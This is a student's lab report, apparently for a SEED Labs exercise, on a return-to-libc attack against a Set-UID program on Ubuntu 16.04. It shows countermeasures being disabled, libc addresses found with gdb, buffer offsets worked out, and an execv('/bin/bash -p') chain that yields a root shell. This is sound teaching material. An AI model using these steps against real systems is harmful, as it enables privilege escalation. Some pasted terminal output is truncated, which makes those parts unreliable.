Return-to-libc Attack Lab

57119133 张明璇

Introduction

In this week's lab experiment, we will be experimenting with an attack similar to the buffer overflow attack from last weeks lab known as the return-to-libc attack. This attack can bypass existing scheme protection in Linux. In order to experiment with this attack, we will be using SeedLab's pre-built Ubuntu 16.04 LTS. We will also be required to download two files from SeedLab, retlib.c (the vulnerable program) and exploit.c.

Turning off Countermeasures

As similar to last week's lab, we will need to disable several countermeasures that is already put in place to protect against buffer overflow. Since this experiment is a variation of buffer overflow, we will need to do the same thing from last week's lab experiment.

实验环境配置：

First, we will need to disable Address Space Randomization. This can be done by running a simple command in terminal:

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

This next security mechanism we need to disable is StackGuard Protection Scheme. In order to disable this, during compiling of a program we will need to add the "-fno-stack-protector" options. This is an example:

```
$ gcc -fno-stack-protector example.c
```

The third security mechanism is executing non-executable stacks. This can be disable during compiling of a program by adding the "noexestack" or "execstack" option:

```
For executable stack:
$ gcc -z execstack -o test test.c

For non-executable stack:
$ gcc -z noexecstack -o test test.c
```

The fourth and final security mechanism is configuring /bin/sh. Since we are experimenting this on Ubuntu 16.04, we will need to configure this in order to

experiment with this attack. We can disable this security countermeasure by entering the following command in terminal:

```
$ sudo rm /bin/sh
$ sudo ln -s /bin/zsh /bin/sh
```

The Vulnerable Program

In this week's lab, we were given a file called "retlib.c" which has the buffer overflow vulnerability. We first compile the code and turn it into a root-owned Set-UID program. We can do this by compiling the code with "-fno-stack-protector" and "noexecstack" and then changing the permission with these two commands:

```
$ gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
$ sudo chown root retlib
$ sudo chmod 4755 retlib
```

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];
    unsigned int *framep;

    // Copy ebp into framep
    asm("movl %%ebp, %0" : "=r" (framep));

    /* print out information for experiment purpose */
    printf("Address of buffer[] inside bof():  0x%.8x\n", (unsigned)buffer);
    printf("Frame Pointer value inside bof():  0x%.8x\n", (unsigned)framep);

    strcpy(buffer, str);

    return 1;
}

void foo(){
    static int i = 1;
    printf("Function foo() is invoked %d times\n", i++);
    return;
}

int main(int argc, char **argv)
{
   char input[1000];
   FILE *badfile;

   badfile = fopen("badfile", "r");
   int length = fread(input, sizeof(char), 1000, badfile);
   printf("Address of input[] inside main():  0x%x\n", (unsigned int) input);
   printf("Input size: %d\n", length);

   bof(input);

   printf("(^_^)(^_^) Returned Properly (^_^)(^_^)\n");
   return 1;
}
```

(retlib)

```
ndomize_va_space = 0
seed@VM:~$ sudo rm /bin/sh
seed@VM:~$ sudo ln -s /bin/zsh /bin/sh
seed@VM:~$ gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
seed@VM:~$ sudo chown root retlib
seed@VM:~$ sudo chmod 4755 retlib
seed@VM:~$
```

Task 1:

finding out the addresses of libc functions

In order to complete a return-ro -libc attack, we will need to use commands like "system()" and "exit()" function in the libc library. In order to do this, we will need to know their addresses. The program I ran in gdb was retlib, the vulnerable program.

```
$ gdb a.out
(gdb) b main
(gdb) r
(gdb) p system
```

Terminal return with libc-system as: 0xb7e42da0 and GI_exit returned with 0xb7e369d0:

```
Breakpoint 1, 0x080484e9 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
```

We can see that the address for the system() function is 0xb7e42da0 and the exit() function is 0xb7e369d0.

Task 2:

Putting the shell string in the memory

In this task, we need to get one more memory address to then complete the badfile to exploit buffer overflow. We can accomplish this my executing the following commands in terminal:

```
$ export MYSHELL=/bin/sh
$ env | grep MYSHELL
MYSHELL=/bin/sh
```

This will export /bin/sh as "MYSHELL". We can then create a .c program to print out the memory address of this. If address randomization is turned off, running this program multiple times will result to the same memory address:

```
seed@VM:~$ export MYSHELL=/bin/sh
seed@VM:~$ env | grep MYSHELL
in/sh
seed@VM:~$ gcc -fno-stack-protector -z noexecstack -o file file.c
 function 'main':
6: warning: implicit declaration of function 'getenv' [-Wimplicit-func
ration]
ell = getenv("MYSHELL");
      ^
6: warning: initialization makes pointer from integer without a cast
ersion]
seed@VM:~$ ./file

seed@VM:~$
```

```
]seed@VM:~$ gcc -o file file.c
]seed@VM:~$ ./file MYSHELL ./retlib
ill be at 0xbffffdef
]seed@VM:~$
```

Task3：

Launching the Attack：

You need to figure out the three addresses and the values for X, Y, and Z. If your values are incorrect,your attack might not work. In your report, you need to describe how you decide the values for X, Y and Z. Either show us your reasoning or, if you use a trial-and-error approach, show your trials.

```python
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 0
sh_addr = 0x00000000       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 0
system_addr = 0x00000000   # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 0
exit_addr = 0x00000000     # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

我们可以从代码中了解到 X 是缓冲区 sh_addr 的偏移，Y 是缓冲区的 system_addr 偏移，Z 是缓冲区输出的 exit_addr 的偏移，缓冲区的 ebp 偏移是 0x98-0x80=0x18。因此，缓冲区返回地址的偏移量为 0x18+4=0x1c，因为我们希望稍后返回 system()，因此 Y=0x1c=28
exit()设置为 system()返回的位置，因此 Z=Y+4=32，
As/bin/sh 是 system()的参数,X=Y+4+4=36

Task 4:

Defeat Shell's countermeasure

The purpose of this task is to launch the return-to-libc attack after the shell's countermeasure is enabled.

Before doing Tasks 1 to 3, we relinked /bin/sh to /bin/zsh, instead of to /bin/dash (the original setting). This is because some shell programs, such as dash and bash, have a countermeasure that automatically drops privileges when they are executed in a Set-UID process. In this task, we would like to defeat such a countermeasure, i.e., we would like to get a root shell

首先改变符号链接：

```
$ sudo ln -sf /bin/dash /bin/sh
$ retlib
```

输出

```
Address of input[] inside main():  0xffffcdb0
Input size: 300
Address of buffer[] inside bof():  0xffffcd80
Frame Pointer value inside bof():  0xffffcd98
```

虽然 dash 和 bash 都放弃了 Set-UID 特权，但如果使用-p 选项调用它们，它们将不会这样做。当我们返回到系统函数时，此函数会调用/bin/sh，但它不使用-p 选项。因此，将删除目标程序的 Set-UID 特权。如果有一个函数允许我们直接执行"/bin/bash-p"，而不通过系统函数，我们仍然可以获得根特权。

有许多 libc 函数可以做到这一点，

举一个例子：

```
pathname = address of "/bin/bash"
argv[0]  = address of "/bin/bash"
argv[1]  = address of "-p"
argv[2]  = NULL (i.e., 4 bytes of zero).
```

```
|_____argv[2]_____|    ->  NULL
|_____argv[1]_____|    ->  address of "-p"
|_____argv[0]_____|    ->  same with pathname
|_____argv[]______|    ->  address of argv[] (inside
input[])
|_____pathname____|    ->  start of param of system
|_________________|    ->  return address of execv()
|_________________|    ->  return address (execv())
|_________________|    ->  ebp
|                 |
|                 |
|_________________|    ->  buffer
```

我只是把 argv 放在它的地址后面。请注意，argv[]的地址必须在输入[]内部而不是缓冲区内部，因为缓冲区的内容被 strcpy()复制，它将在满足 NULL(argv[2])时停止创建一个环境 myshell 来存储字符串/bin/sh，

前面的任务中，我们可以轻松地获得两个相关字符串的地址。因此，如果我们可以在堆栈上构造 argv[]数组，得到它的地址，我们将拥有进行返回到 libc 攻击所需的所有东西。这次，我们将返回 eecv()函数。这里有一个陷阱。argv[2]的值必须为零（整数为零，四个字

节）。如果我们在输入中放入四个零，分支()将在第一个零处终止；无论在那之后是什么，都不会被复制到 bof()函数的缓冲区中。这似乎是个问题，但请记住，输入中的所有内容都已在堆栈上；它们位于该()函数的主缓冲区中。要获得这个缓冲区的地址并不难。为了简化任务，我们已经让易受攻击的程序为您打印出该地址。

Address of /bin/bash and -p in environment variables

```
stack-protector -z noexecstack -o prtenv prtenv.c;sudo chown root
prtenv;sudo chown 4755 prtenv;prtenv
bin/bash: ffffd504
p: ffffd540
```

Get address of execv() and exit() from gdb

```
Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p execv
$1 = {<text variable, no debug info>} 0xf7e994b0 <execv>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
```

Successful result

```
Address of input[] inside main():  0xffffcd80
Input size: 300
Address of buffer[] inside bof():  0xffffcd50
Frame Pointer value inside bof():  0xffffcd68
bash-5.0# exit
exit
```